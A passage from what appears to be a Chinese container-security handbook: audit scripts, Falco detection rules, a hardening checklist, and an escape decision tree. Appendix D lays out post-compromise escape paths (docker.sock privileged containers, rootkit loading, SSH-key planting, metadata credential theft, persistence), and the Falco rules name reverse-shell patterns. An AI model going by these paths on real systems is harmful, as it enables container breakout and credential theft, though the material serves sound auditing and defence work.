echo " 第五章: OverlayFS 检查"
echo "══════════════════════════════════════════════════════════"
# 5.1 OverlayFS 挂载信息
echo "[5.1] OverlayFS 挂载信息"
OVERLAY_COUNT=$(grep -c "overlay" /proc/self/mountinfo 2>/dev/null || echo "0")
risk INFO "挂载数量" "$OVERLAY_COUNT 个 OverlayFS 挂载"
# 5.2 Shared Mount
echo "[5.2] Shared Mount (跨容器影响)"
SHARED_MOUNTS=$(grep "shared:" /proc/self/mountinfo 2>/dev/null | wc -l)
if [ "$SHARED_MOUNTS" -gt 0 ]; then
risk WARNING "Shared Mount" "$SHARED_MOUNTS 个共享挂载 (可能导致跨容器 mount 传播)"
else
risk OK "Shared Mount" "无共享挂载"
fi
# 5.3 Docker 数据目录访问
echo "[5.3] Docker 数据目录访问"
if [ -d /var/lib/docker ] 2>/dev/null; then
risk HIGH "Docker 数据目录" "/var/lib/docker 可访问!"
else
risk OK "Docker 数据目录" "不可访问"
fi
echo ""
echo "══════════════════════════════════════════════════════════"
echo " 第六章: 页缓存与管道检查"
echo "══════════════════════════════════════════════════════════"
# 6.1 Dirty Pipe (CVE-2022-0847)
echo "[6.1] Dirty Pipe 漏洞 (CVE-2022-0847)"
KVER_MAJOR=$(uname -r | cut -d. -f1)
KVER_MINOR=$(uname -r | cut -d. -f2)
KVER_PATCH=$(uname -r | cut -d. -f3 | sed 's/[^0-9].*//')
VULNERABLE=0
if [ "$KVER_MAJOR" -eq 5 ]; then
if [ "$KVER_MINOR" -ge 8 ] && [ "$KVER_MINOR" -le 16 ]; then
case "$KVER_MINOR" in
8) VULNERABLE=1 ;;
9) VULNERABLE=1 ;;
10) [ "$KVER_PATCH" -lt 103 ] && VULNERABLE=1 ;;
11) VULNERABLE=1 ;;
12) VULNERABLE=1 ;;
13) VULNERABLE=1 ;;
14) VULNERABLE=1 ;;
15) [ "$KVER_PATCH" -lt 26 ] && VULNERABLE=1 ;;
16) [ "$KVER_PATCH" -lt 12 ] && VULNERABLE=1 ;;
esac
fi
fi
if [ $VULNERABLE -eq 1 ]; then
risk CRITICAL "Dirty Pipe" "内核 $KVER_MAJOR.$KVER_MINOR.$KVER_PATCH 受影响 (CVE-2022-0847)!"
else
risk OK "Dirty Pipe" "内核 $(uname -r) 不受影响或已修复"
fi
# 6.2 Dirty COW (CVE-2016-5195)
echo "[6.2] Dirty COW (CVE-2016-5195)"
if [ "$KVER_MAJOR" -lt 4 ] || ([ "$KVER_MAJOR" -eq 4 ] && [ "$KVER_MINOR" -lt 9 ]); then
risk CRITICAL "Dirty COW" "内核 $(uname -r) 可能受影响!"
else
risk OK "Dirty COW" "内核 $(uname -r) 不受影响"
fi
echo ""
echo "══════════════════════════════════════════════════════════"
echo " 第七章: Docker 配置不当检查"
echo "══════════════════════════════════════════════════════════"
# 7.1 Docker Socket
echo "[7.1] Docker Socket"
if [ -S /var/run/docker.sock ]; then
risk CRITICAL "docker.sock" "Docker Socket 可访问! (可创建特权容器)"
elif [ -e /var/run/docker.sock ]; then
risk HIGH "docker.sock" "存在但不可写"
else
risk OK "docker.sock" "不存在"
fi
# 7.2 特权模式
echo "[7.2] 特权容器检测"
if [ -d /proc/1 ]; then
if grep -q "docker" /proc/1/cgroup 2>/dev/null; then
# 检查 device cgroup 是否为 a *:* rwm (特权标志)
DEV_CGROUP=$(cat /proc/1/cgroup 2>/dev/null | grep devices | head -1)
if [ -n "$DEV_CGROUP" ]; then
risk WARNING "特权容器" "Docker 容器, 检查设备访问权限..."
fi
fi
fi
# 7.3 块设备可访问性
echo "[7.3] 块设备可访问性"
DISK_DEV=$(ls /dev/sd[a-z] /dev/vd[a-z] /dev/xvd[a-z] /dev/nvme[0-9]n[0-9] 2>/dev/null | head -5)
if [ -n "$DISK_DEV" ]; then
risk HIGH "块设备" "发现宿主机磁盘设备: $DISK_DEV"
else
risk OK "块设备" "无可访问的宿主机磁盘设备"
fi
# 7.4 Docker TCP API
echo "[7.4] Docker Daemon TCP API"
if command -v curl &>/dev/null || command -v wget &>/dev/null; then
if curl -s --connect-timeout 2 http://docker:2375/version 2>/dev/null | grep -q "Version" 2>/dev/null; then
risk CRITICAL "Docker API" "Docker Daemon TCP (2375) 无认证可访问!"
else
risk OK "Docker API" "TCP API 不可达"
fi
fi
# 7.5 敏感目录挂载
echo "[7.5] 敏感目录挂载检查"
for dir in /etc /root /var/lib/docker /var/run /proc; do
if mount | grep -q "$dir" 2>/dev/null; then
risk HIGH "敏感挂载" "$dir 挂载自宿主机"
fi
done
# 7.6 docker.sock 挂载
echo "[7.6] docker.sock 挂载"
if mount | grep -q "docker.sock" 2>/dev/null; then
risk CRITICAL "docker.sock" "已挂载到容器内!"
fi
echo ""
echo "══════════════════════════════════════════════════════════"
echo " 第八章: Kubernetes 环境检查"
echo "══════════════════════════════════════════════════════════"
# 8.1 ServiceAccount Token
echo "[8.1] K8s ServiceAccount Token 检查"
SA_TOKEN="/var/run/secrets/kubernetes.io/serviceaccount/token"
SA_CA="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
SA_NS="/var/run/secrets/kubernetes.io/serviceaccount/namespace"
if [ -f "$SA_TOKEN" ]; then
JWT_HEADER=$(head -c 50 "$SA_TOKEN" 2>/dev/null)
risk HIGH "SA Token" "存在! (可向 API Server 认证)"
if [ -f "$SA_CA" ] && [ -f "$SA_NS" ] && command -v curl &>/dev/null; then
K8S_API=$(grep KUBERNETES_SERVICE_HOST /proc/self/environ 2>/dev/null | tr '\0' '\n' | head -1 || echo "kubernetes.default.svc")
curl -sk --connect-timeout 3 \
-H "Authorization: Bearer $(cat $SA_TOKEN)" \
"https://${K8S_API}/api/v1/namespaces/$(cat $SA_NS)/pods" 2>/dev/null | \
grep -q "items" && risk CRITICAL "SA RBAC" "Token 可列出 Pods!" || risk OK "SA RBAC" "Token 权限受限"
fi
else
risk OK "SA Token" "不存在 (非 K8s 环境)"
fi
# 8.2 Kubelet API
echo "[8.2] Kubelet API (10250)"
if command -v curl &>/dev/null; then
if curl -sk --connect-timeout 3 https://${KUBERNETES_SERVICE_HOST:-localhost}:10250/pods 2>/dev/null | grep -q "kind"; then
risk CRITICAL "Kubelet API" "10250 端口匿名可访问!"
else
risk OK "Kubelet API" "不可达或需认证"
fi
fi
# 8.3 云元数据
echo "[8.3] 云元数据 SSRF 检查 (169.254.169.254)"
if command -v curl &>/dev/null || command -v wget &>/dev/null; then
if curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/ 2>/dev/null | grep -q "instance-id"; then
risk CRITICAL "AWS Metadata" "IMDS 可访问! (可能泄漏 IAM 凭据)"
elif curl -s --connect-timeout 2 http://169.254.169.254/metadata/instance?api-version=2021-02-01 2>/dev/null | grep -q "compute"; then
risk CRITICAL "Azure Metadata" "Azure IMDS 可访问!"
elif curl -s --connect-timeout 2 http://metadata.google.internal/computeMetadata/v1/instance/ -H "Metadata-Flavor: Google" 2>/dev/null | grep -q "id"; then
risk CRITICAL "GCP Metadata" "GCP Metadata 可访问!"
else
risk OK "Cloud Metadata" "不可达"
fi
fi
echo ""
echo "╔══════════════════════════════════════════════════════════╗"
echo "║ 风险评分矩阵 ║"
echo "╚══════════════════════════════════════════════════════════╝"
RISK_PCT=0
if [ $RISK_TOTAL -gt 0 ]; then
RISK_PCT=$((RISK_COUNT * 100 / (RISK_TOTAL * 3)))
fi
echo ""
echo " 检查项总数: $RISK_TOTAL"
echo " 风险评分: $RISK_COUNT / $((RISK_TOTAL * 3)) ($RISK_PCT%)"
echo ""
if [ $RISK_PCT -lt 20 ]; then
echo -e " ${GREEN}风险等级: 低 — 系统配置较好${NC}"
elif [ $RISK_PCT -lt 50 ]; then
echo -e " ${YELLOW}风险等级: 中 — 存在可改进的安全配置${NC}"
else
echo -e " ${RED}风险等级: 高 — 存在严重的安全漏洞!${NC}"
fi
echo ""
echo "══════════════════════════════════════════════════════════"
echo " 加固建议 (按优先级排序)"
echo "══════════════════════════════════════════════════════════"
echo ""
echo " [1] 升级内核到最新 LTS 版本 (修复 Dirty Pipe/Dirty COW)"
echo " [2] 升级到 Cgroup v2 (移除 release_agent)"
echo " [3] Docker run: 默认 --cap-drop ALL --cap-add NET_BIND_SERVICE"
echo " [4] 启用 no-new-privileges"
echo " [5] 使用只读文件系统 (--read-only)"
echo " [6] 禁止挂载 docker.sock"
echo " [7] 禁止 --privileged / --pid=host / --net=host"
echo " [8] 部署 Falco 运行时检测 + auditd 审计"
echo " [9] 启用 AppArmor/SELinux LSM"
echo " [10] 实施 User Namespace 重映射 (userns-remap)"
echo " [11] /proc 敏感文件设为只读 (core_pattern, sysrq-trigger)"
echo " [12] K8s: 启用 Pod Security Standards (restricted)"
echo " [13] K8s: SA Token 使用最小 RBAC 权限"
echo " [14] 云环境: 使用 IMDSv2 (AWS) / 受保护元数据 (Azure/GCP)"
echo ""
echo "检查完成: $(date)"
附录 B:Falco 统一检测规则集
以下汇总了本手册全部攻击面的 Falco 运行时检测规则,覆盖六大内核机制 + Docker 配置不当 + K8s 环境逃逸,可直接用于生产环境。
# falco-rules-container-escape.yaml
# 容器逃逸综合检测规则集
#
# 覆盖: Namespace + Cgroup + Capabilities + /proc/sys + OverlayFS + Dirty Pipe
# + Docker 配置不当 + K8s 环境逃逸
# 版本: v2.0
# 适用于: Falco 0.33+
# ========================
# 1. Namespace 操作检测
# ========================
- rule: Namespace Switch via nsenter
desc: 检测容器内进程使用 nsenter 切换 Namespace
condition: >
container and
proc_name = "nsenter" and
not proc.pname in (runc, containerd, containerd-shim)
output: >
[Namespace] 容器内 nsenter 操作!
container=%container.name user=%user.name
command=%proc.cmdline pid=%proc.pid
parent=%proc.pname
priority: CRITICAL
tags: [container, namespace, escape, T1611]
- rule: setns Syscall from Container
desc: 检测容器内 setns 系统调用
condition: >
container and
syscall = setns and
not proc.pname in (runc, containerd, containerd-shim)
output: >
[Namespace] setns 系统调用!
container=%container.name pid=%proc.pid
target_fd=%evt.arg.fd
priority: CRITICAL
tags: [container, namespace, escape, T1611]
- rule: Unshare from Container
desc: 检测容器内 unshare 创建新 NS
condition: >
container and
syscall = unshare and
not proc.pname in (runc, containerd)
output: >
[Namespace] unshare 系统调用!
container=%container.name pid=%proc.pid
priority: HIGH
tags: [container, namespace, escape]
# ========================
# 2. Cgroup 操作检测
# ========================
- rule: Cgroup release_agent Modification
desc: 检测对 cgroup release_agent 文件的写入
condition: >
container and
(open_write and fd.name contains "/release_agent")
output: >
[Cgroup] release_agent 被修改!
container=%container.name file=%fd.name
command=%proc.cmdline pid=%proc.pid
priority: CRITICAL
tags: [container, cgroup, escape, T1611]
- rule: Cgroup notify_on_release Activation
desc: 检测启用 cgroup notify_on_release
condition: >
container and
(open_write and fd.name contains "/notify_on_release")
output: >
[Cgroup] notify_on_release 被激活!
container=%container.name command=%proc.cmdline
priority: HIGH
tags: [container, cgroup, escape]
- rule: Cgroup Subsystem Mount
desc: 检测容器内挂载 cgroup 子系统
condition: >
container and
syscall = mount and
evt.arg.fs_type = "cgroup"
output: >
[Cgroup] 容器内挂载 cgroup 文件系统!
container=%container.name pid=%proc.pid
options=%evt.arg.options
priority: HIGH
tags: [container, cgroup, mount]
# ========================
# 3. Capabilities 检测
# ========================
- rule: Dangerous Capability in Container
desc: 检测容器内进程使用了危险的 Capability
condition: >
container and user.uid = 0 and
(proc.cap_effective contains CAP_SYS_ADMIN or
proc.cap_effective contains CAP_SYS_MODULE or
proc.cap_effective contains CAP_SYS_PTRACE or
proc.cap_effective contains CAP_SYS_RAWIO or
proc.cap_effective contains CAP_SYS_BOOT or
proc.cap_effective contains CAP_BPF)
output: >
[Capability] 危险能力生效!
container=%container.name
caps=%proc.cap_effective command=%proc.cmdline
priority: CRITICAL
tags: [container, capability, privilege, T1611]
- rule: prctl Capability Modification
desc: 检测通过 prctl 修改能力集
condition: >
container and
syscall = prctl and
(evt.arg.option = PR_CAPBSET_DROP or
evt.arg.option = PR_CAP_AMBIENT)
output: >
[Capability] 进程修改能力集!
container=%container.name pid=%proc.pid
option=%evt.arg.option
priority: HIGH
tags: [container, capability, prctl]
- rule: Insmod Kernel Module from Container
desc: 检测容器内加载内核模块
condition: >
container and
proc_name in (insmod, modprobe, rmmod)
output: >
[Capability] 容器内加载/卸载内核模块!
container=%container.name
command=%proc.cmdline
priority: CRITICAL
tags: [container, capability, kernel_module, T1611]
# ========================
# 4. /proc 和 /sys 检测
# ========================
- rule: Core Pattern Modification
desc: 检测 core_pattern 被修改 (管道重定向逃逸)
condition: >
container and
(open_write and fd.name = "/proc/sys/kernel/core_pattern")
output: >
[proc/sys] core_pattern 被修改!
container=%container.name command=%proc.cmdline
pid=%proc.pid
priority: CRITICAL
tags: [container, proc, escape, T1611]
- rule: SysRq Trigger Access
desc: 检测访问 SysRq 接口
condition: >
container and
(open_write and fd.name = "/proc/sysrq-trigger")
output: >
[proc/sys] SysRq 触发!
container=%container.name command=%proc.cmdline
priority: CRITICAL
tags: [container, proc, sysrq]
- rule: Host Process Root Access
desc: 检测访问宿主机进程的 /proc/*/root
condition: >
container and
(open_read and fd.name glob "/proc/*/root/*" and
not fd.name contains "/proc/self/" and
not fd.name contains "/proc/thread-self/")
output: >
[proc/sys] 访问宿主机进程 root 文件系统!
container=%container.name target=%fd.name
pid=%proc.pid
priority: HIGH
tags: [container, proc, escape, T1611]
- rule: Access to /dev/mem or /dev/kmem
desc: 检测访问物理/内核内存设备
condition: >
container and
(open_read and (fd.name = "/dev/mem" or fd.name = "/dev/kmem"))
output: >
[/dev] 访问物理内存设备!
container=%container.name device=%fd.name
pid=%proc.pid command=%proc.cmdline
priority: CRITICAL
tags: [container, device, memory, T1611]
# ========================
# 5. OverlayFS 检测
# ========================
- rule: Docker Data Directory Access
desc: 检测访问 Docker 数据目录
condition: >
container and
(open_read and (
fd.name contains "/var/lib/docker/" or
fd.name contains "/var/lib/containerd/"))
output: >
[OverlayFS] 访问 Docker/containerd 数据目录!
container=%container.name path=%fd.name
pid=%proc.pid
priority: HIGH
tags: [container, overlayfs, docker_data]
# ========================
# 6. Dirty Pipe 检测
# ========================
- rule: Dirty Pipe Suspicious Write
desc: 检测 splice+敏感文件写入的 Dirty Pipe 模式
condition: >
container and syscall = splice and
(fd.name = "/etc/passwd" or fd.name = "/etc/shadow" or
fd.name = "/etc/sudoers" or fd.name startswith "/root/.ssh/" or
fd.name = "/bin/sh" or fd.name = "/usr/bin/bash")
output: >
[DirtyPipe] 通过 splice 访问敏感文件!
container=%container.name file=%fd.name
command=%proc.cmdline pid=%proc.pid
priority: CRITICAL
tags: [container, dirtypipe, cve-2022-0847, T1611]
# ========================
# 7. Docker 配置不当检测
# ========================
- rule: Docker Socket Access in Container
desc: 检测容器内访问 docker.sock
condition: >
container and
(open_write and fd.name = "/var/run/docker.sock")
output: >
[Docker] 容器内访问 Docker Socket!
container=%container.name command=%proc.cmdline
priority: CRITICAL
tags: [container, docker_sock, escape, T1610]
- rule: Docker Daemon TCP API Access
desc: 检测容器内连接 Docker Daemon TCP API
condition: >
container and
(evt.type = connect and fd.sport = 2375)
output: >
[Docker] 容器内连接 Docker Daemon TCP API!
container=%container.name cip=%fd.cip
command=%proc.cmdline
priority: CRITICAL
tags: [container, docker_api, escape, T1610]
- rule: Privileged Container Launch
desc: 检测启动特权容器
condition: >
evt.type = container and
container.privileged = true
output: >
[Docker] 创建特权容器!
container=%container.name image=%container.image
command=%proc.cmdline
priority: CRITICAL
tags: [container, privileged, escape, T1610]
- rule: Block Device Mount in Container
desc: 检测容器内挂载块设备
condition: >
container and
syscall = mount and
(evt.arg.description contains "/dev/sd" or
evt.arg.description contains "/dev/vd" or
evt.arg.description contains "/dev/xvd" or
evt.arg.description contains "/dev/nvme")
output: >
[Docker] 容器内挂载块设备!
container=%container.name device=%evt.arg.description
pid=%proc.pid
priority: CRITICAL
tags: [container, block_device, escape, T1610]
- rule: Sensitive Host Directory Write
desc: 检测写入已挂载的宿主机敏感目录
condition: >
container and
open_write and user.uid = 0 and
(fd.name startswith "/etc/" or fd.name startswith "/root/")
output: >
[Docker] 写入宿主机敏感目录!
container=%container.name file=%fd.name
command=%proc.cmdline
priority: CRITICAL
tags: [container, sensitive_dir, T1610]
# ========================
# 8. K8s 环境逃逸检测
# ========================
- rule: K8s ServiceAccount Token Misuse
desc: 检测非预期进程访问 SA Token
condition: >
container and
(open_read and fd.name = "/var/run/secrets/kubernetes.io/serviceaccount/token") and
not proc_name in (kubelet, kube-proxy, coredns)
output: >
[K8s] 非预期进程访问 SA Token!
container=%container.name
namespace=%k8s.ns.name pod=%k8s.pod.name
command=%proc.cmdline
priority: HIGH
tags: [kubernetes, sa_token, T1613]
- rule: K8s API Server Access from Container
desc: 检测容器内通过 kubectl 或 curl 访问 API Server
condition: >
container and
proc_name in (kubectl, curl, wget, python, python3) and
(proc.cmdline contains "api/v1/namespaces" or
proc.cmdline contains "api/v1/pods" or
proc.cmdline contains "apis/apps/v1/deployments")
output: >
[K8s] 容器内访问 K8s API!
container=%container.name
namespace=%k8s.ns.name pod=%k8s.pod.name
command=%proc.cmdline
priority: CRITICAL
tags: [kubernetes, api_access, T1613]
- rule: Cloud Metadata Service Access
desc: 检测容器内访问云元数据 (169.254.169.254)
condition: >
container and
(fd.cip = "169.254.169.254" and fd.sport = 80) or
(fd.cip = "169.254.169.254" and fd.sport = 443)
output: >
[Cloud] 容器内访问云元数据服务!
container=%container.name
command=%proc.cmdline cip=%fd.cip
priority: CRITICAL
tags: [cloud, metadata, ssrf, T1613]
- rule: Kubelet API Anonymous Access
desc: 检测容器内访问 Kubelet 10250 API
condition: >
container and
(fd.sport = 10250 and (fd.l4proto = tcp or fd.l4proto = tcp6))
output: >
[K8s] 容器内连接 Kubelet API!
container=%container.name cip=%fd.cip
command=%proc.cmdline
priority: CRITICAL
tags: [kubernetes, kubelet, escape, T1613]
# ========================
# 9. 通用异常行为检测
# ========================
- rule: Container Chroot Syscall
desc: 检测容器内 chroot 系统调用 (chroot 逃逸前兆)
condition: >
container and
syscall = chroot and
user.uid = 0 and
not proc.pname in (runc, containerd)
output: >
[通用] 容器内 chroot 操作!
container=%container.name pid=%proc.pid
command=%proc.cmdline
priority: HIGH
tags: [container, chroot, escape]
- rule: Reverse Shell in Container
desc: 检测容器内反弹 shell
condition: >
container and
(proc_name = "bash" and proc.cmdline contains "/dev/tcp/") or
(proc_name in (nc, ncat) and proc.cmdline contains "-e") or
(proc_name = "python" and proc.cmdline contains "pty.spawn")
output: >
[通用] 容器内反弹 shell!
container=%container.name command=%proc.cmdline
priority: CRITICAL
tags: [container, reverse_shell, T1059]
部署命令:
# 复制规则到 Falco 目录
sudo cp falco-rules-container-escape.yaml /etc/falco/falco_rules.local.yaml
# 验证规则
sudo falco -L
# 重启 Falco
sudo systemctl restart falco
# 查看实时告警
sudo journalctl -fu falco
附录 C:容器安全基线检查清单
对照以下 25 项进行逐项检查,标记通过/不通过,生成安全基线报告。
| 序号 | 检查项 | 安全要求 | 检查命令 | 风险等级 |
|---|---|---|---|---|
| Namespace 隔离 | ||||
| C-01 | 特权容器 | 禁止 --privileged |
docker inspect --format '{{.HostConfig.Privileged}}' <container> |
CRITICAL |
| C-02 | PID NS 隔离 | 不使用 --pid host |
docker inspect --format '{{.HostConfig.PidMode}}' <container> |
HIGH |
| C-03 | Net NS 隔离 | 不使用 --net host |
docker inspect --format '{{.HostConfig.NetworkMode}}' <container> |
HIGH |
| C-04 | IPC NS 隔离 | 不使用 --ipc host |
docker inspect --format '{{.HostConfig.IpcMode}}' <container> |
MEDIUM |
| C-05 | UTS NS 隔离 | 不使用 --uts host |
docker inspect --format '{{.HostConfig.UTSMode}}' <container> |
LOW |
| Cgroup 资源控制 | ||||
| C-06 | Cgroup v2 | 使用 unified cgroup v2 | stat -fc %T /sys/fs/cgroup/ |
HIGH |
| C-07 | release_agent | release_agent 只读或不存在 | find /sys/fs/cgroup -name release_agent -writable 2>/dev/null |
CRITICAL |
| C-08 | notify_on_release | 全部未激活 | find /sys/fs/cgroup -name notify_on_release -exec grep -l '^1$' {} \; 2>/dev/null |
HIGH |
| Capabilities 权限 | ||||
| C-09 | CAP 最小化 | --cap-drop ALL --cap-add NET_BIND_SERVICE |
docker inspect --format '{{.HostConfig.CapDrop}}' <container> |
HIGH |
| C-10 | CAP_SYS_ADMIN | 必须移除 | capsh --print | grep -i cap_sys_admin |
CRITICAL |
| C-11 | CAP_SYS_PTRACE | 必须移除 | capsh --print | grep -i cap_sys_ptrace |
HIGH |
| C-12 | CAP_SYS_MODULE | 必须移除 | capsh --print | grep -i cap_sys_module |
CRITICAL |
| C-13 | CAP_SYS_RAWIO | 必须移除 | capsh --print | grep -i cap_sys_rawio |
CRITICAL |
| C-14 | CAP_DAC_OVERRIDE | 尽量移除 | capsh --print | grep -i cap_dac_override |
MEDIUM |
| C-15 | File Capabilities | 检查带能力的二进制 | getcap -r /usr/bin/ /usr/sbin/ 2>/dev/null |
MEDIUM |
| /proc 和 /sys | ||||
| C-16 | core_pattern | 只读 | [ -w /proc/sys/kernel/core_pattern ] && echo "危险" || echo "安全" |
CRITICAL |
| C-17 | sysrq-trigger | 只读 | [ -w /proc/sysrq-trigger ] && echo "危险" || echo "安全" |
HIGH |
| C-18 | kallsyms | 不可读 | [ -r /proc/kallsyms ] && echo "泄漏" || echo "安全" |
MEDIUM |
| C-19 | kcore | 不可读 | [ -r /proc/kcore ] && echo "危险" || echo "安全" |
CRITICAL |
| C-20 | /dev/mem, /dev/kmem | 不可读 | [ -r /dev/mem ] && echo "危险: /dev/mem 可读" || echo "安全" |
CRITICAL |
| OverlayFS/存储 | ||||
| C-21 | mountinfo 路径 | 限制读取 | grep upperdir /proc/self/mountinfo 2>/dev/null |
LOW |
| C-22 | Shared Mount | 限制共享挂载 | grep "shared:" /proc/self/mountinfo 2>/dev/null |
MEDIUM |
| C-23 | Docker 数据目录 | 禁止容器内访问 | [ -d /var/lib/docker ] && echo "危险" || echo "安全" |
HIGH |
| 内核漏洞 | ||||
| C-24 | Dirty Pipe | 内核 >= 5.16.12 / 5.15.26 / 5.10.103 | uname -r |
CRITICAL |
| C-25 | Dirty COW | 内核 >= 4.8.3 | uname -r |
CRITICAL |
| 运行时安全 | ||||
| C-26 | Seccomp | 启用默认 Profile | docker inspect --format '{{.HostConfig.SecurityOpt}}' <container> |
HIGH |
| C-27 | AppArmor/SELinux | 启用 LSM | docker inspect --format '{{.HostConfig.SecurityOpt}}' <container> |
HIGH |
| C-28 | no-new-privileges | 启用 | docker inspect --format '{{.HostConfig.SecurityOpt}}' <container> |
HIGH |
| C-29 | Read-only rootfs | 启用 | docker inspect --format '{{.HostConfig.ReadonlyRootfs}}' <container> |
MEDIUM |
| C-30 | UserNS Remap | 启用 userns-remap | docker info | grep "Userns" |
HIGH |
| Docker 配置 | ||||
| C-31 | Docker Socket | 不挂载 docker.sock | docker inspect --format '{{.Mounts}}' <container> | grep docker.sock |
CRITICAL |
| C-32 | 宿主机目录挂载 | 最小化 bind mount | docker inspect --format '{{.Mounts}}' <container> |
HIGH |
| C-33 | Docker Daemon TCP | 禁用 2375/2376 端口暴露 | ss -tlnp | grep 2375 |
CRITICAL |
| C-34 | 内存/CPU 限制 | 设置 cgroup 资源限制 | docker inspect --format '{{.HostConfig.Memory}}' <container> |
MEDIUM |
| K8s 安全 | ||||
| C-35 | Pod Security | 启用 restricted 标准 | kubectl describe ns <ns> | grep pod-security |
CRITICAL |
| C-36 | SA Token | 非默认 automount | kubectl get sa -A -o json | jq '.items[].automountServiceAccountToken' |
HIGH |
| C-37 | RBAC 最小权限 | 不绑定 cluster-admin 到 SA | kubectl get clusterrolebindings -o json | jq '.items[].roleRef.name' |
CRITICAL |
| C-38 | Kubelet API | 需要认证, 禁用匿名 | curl -k https://<node>:10250/pods |
CRITICAL |
| C-39 | NetworkPolicy | 限制 Pod 间通信 | kubectl get networkpolicies -A |
HIGH |
| C-40 | 云 Metadata | 阻止 Pod 访问 169.254.169.254 | NetworkPolicy + IMDSv2 | CRITICAL |
检查方法: 对照以上清单逐项检查,标记 ✓ 通过 / ✗ 不通过 / — 不适用,生成安全基线报告。CRITICAL 项必须全部通过;HIGH 项至少 90% 通过。
附录 D:逃逸技术速查决策树
当获得容器内 shell 后,按以下决策树快速判断可用逃逸路径:
已获得容器内 Shell
│
├─ 有 docker.sock? ──→ YES → Docker API 创建特权容器
│ (ls -la /var/run/docker.sock) ├─ docker run --privileged -v /:/host
│ NO ↓ └─ 在宿主机执行任意命令
│
├─ 特权容器? ──────────→ YES → 检查以下路径:
│ (capsh --print | grep sys_admin) ├─ 磁盘挂载 (fdisk -l → mount → chroot)
│ NO ↓ ├─ cgroup release_agent (v1 only)
│ ├─ nsenter (--pid=host 时可用)
│ ├─ /dev/mem (物理内存直接访问)
│ └─ 内核参数修改 (core_pattern 等)
│
├─ 有危险 Capabilities? ─→ CAP_SYS_ADMIN → cgroup release_agent
│ (grep CapEff /proc/self/status) │ → mount 宿主机磁盘
│ CAP_SYS_MODULE → insmod 加载 Rootkit
│ CAP_SYS_PTRACE → 进程注入宿主机进程
│ CAP_SYS_RAWIO → 块设备直接读写
│ CAP_DAC_OVERRIDE → 访问受保护文件
│ CAP_BPF → 加载恶意 BPF 程序
│ NO ↓
│
├─ 敏感目录挂载? ────────→ /etc → 写 crontab / SSH authorized_keys
│ (mount | grep -E "/etc|/root|docker") /root → 写 SSH key
│ /var/lib/docker → 窃取/修改容器配置
│ /var/run → docker.sock
│ /proc → 访问宿主机进程
│ NO ↓
│
├─ Docker Daemon TCP? ──→ 2375 端口无认证
│ (curl http://docker:2375/version) → 远程创建特权容器
│ NO ↓
│
├─ K8s 环境? ───────────→ SA Token (/var/run/secrets/...)
│ (ls /var/run/secrets/kubernetes.io/) → RBAC 提权 → 创建特权 Pod
│ Kubelet 10250 → 匿名访问 → /run /exec
│ Cloud Metadata → IAM 凭据获取
│ NO ↓
│
├─ 宿主机内核有漏洞? ────→ Dirty Pipe (5.8-5.16.11) → 覆盖任意文件
│ (uname -r) Dirty COW (<4.8.3) → 写只读文件
│ nf_tables UAF (5.5-6.7) → 本地提权
│ OverlayFS CVE → 宿主机文件访问
│ NO ↓
│
├─ runc 有漏洞? ─────────→ CVE-2019-5736 → 替换宿主机 runc 二进制
│ (docker-runc --version) CVE-2024-21626 → fd 泄漏
│ CVE-2025-31xxx 系列 → Container breakout
│ NO ↓
│
└─ 内核接口滥用 ─────────→ /proc 信息泄露 (kallsyms/mountinfo)
│ User Namespace exploit chain
│ Shared Mount 传播
│ OverlayFS copy-up 竞争
└─ 无可利用路径 → 信息收集, 横向移动, 持久化
使用说明:
- 从顶部开始,按顺序检查每个条件
- 遇到 YES 分支时,立即测试对应的逃逸方法
- 所有路径都失败时,转向信息收集和横向移动
- 优先选择成功率最高、最隐蔽的路径(如大箭头所示)
- 决策树的每个叶节点对应本手册相应章节的详细技术分析
附录 E:常用检查命令速查
以下一键脚本可在容器内快速评估逃逸条件:
#!/bin/sh
# container-escape-check.sh
# 容器内逃逸条件快速评估
echo "╔════════════════════════════════════════════════╗"
echo "║ 容器逃逸条件快速检查 v2.0 ║"
echo "╚════════════════════════════════════════════════╝"
echo ""
echo "主机名: $(hostname)"
echo "内核版本: $(uname -r)"
echo "容器 ID: $(cat /proc/1/cgroup 2>/dev/null | head -3)"
echo "用户: $(whoami) (UID=$EUID)"
echo ""
echo "────────────────────────────────────────────────"
echo "[1] Docker Socket 检查"
echo "────────────────────────────────────────────────"
if [ -S /var/run/docker.sock ]; then
echo " [!!!] docker.sock 存在!"
docker version 2>/dev/null && echo " [!!!] Docker CLI 可用 — 可创建特权容器" || echo " [!!] docker CLI 不可用但 Socket 存在"
else
echo " [+] docker.sock 不存在"
fi
echo ""
echo "────────────────────────────────────────────────"
echo "[2] 特权模式和 Capabilities"
echo "────────────────────────────────────────────────"
CAP_EFF=$(cat /proc/self/status 2>/dev/null | grep CapEff | awk '{print $2}')
if [ "$CAP_EFF" = "0000003fffffffff" ]; then
echo " [!!!] CapEff=0x$CAP_EFF — 完整 root 能力集!"
elif [ -n "$CAP_EFF" ]; then
echo " [+] CapEff=0x$CAP_EFF — 受限能力集"
else
echo " [?] 无法读取 CapEff"
fi
# 检查特定危险 Capability
for cap in sys_admin sys_module sys_ptrace sys_rawio net_admin dac_override dac_read_search bpf; do
if capsh --print 2>/dev/null | grep -qi "cap_${cap}"; then
echo " [!!!] CAP_${cap^^} 已生效!"
fi
done
echo ""
echo "────────────────────────────────────────────────"
echo "[3] 挂载情况"
echo "────────────────────────────────────────────────"
echo " 非系统挂载:"
mount | grep -v "cgroup\|proc\|tmpfs\|overlay\|devpts\|mqueue\|shm\|sysfs\|/" | grep -v "none" | head -10
echo ""
echo "────────────────────────────────────────────────"
echo "[4] 设备文件检查"
echo "────────────────────────────────────────────────"
echo " 磁盘设备:"
ls /dev/sd[a-z] /dev/vd[a-z] /dev/xvd[a-z] /dev/nvme[0-9]n[0-9] 2>/dev/null | head -5 || echo " 无磁盘设备"
echo " 内存设备:"
ls /dev/mem /dev/kmem /dev/port 2>/dev/null | head -5 || echo " 无内存设备"
echo ""
echo "────────────────────────────────────────────────"
echo "[5] Namespace 隔离"
echo "────────────────────────────────────────────────"
echo " PID NS: $(readlink /proc/self/ns/pid 2>/dev/null)"
echo " Mount NS: $(readlink /proc/self/ns/mnt 2>/dev/null)"
echo " Net NS: $(readlink /proc/self/ns/net 2>/dev/null)"
echo " User NS: $(readlink /proc/self/ns/user 2>/dev/null)"
echo " Cgroup NS: $(readlink /proc/self/ns/cgroup 2>/dev/null)"
echo ""
echo "────────────────────────────────────────────────"
echo "[6] Cgroup 检查"
echo "────────────────────────────────────────────────"
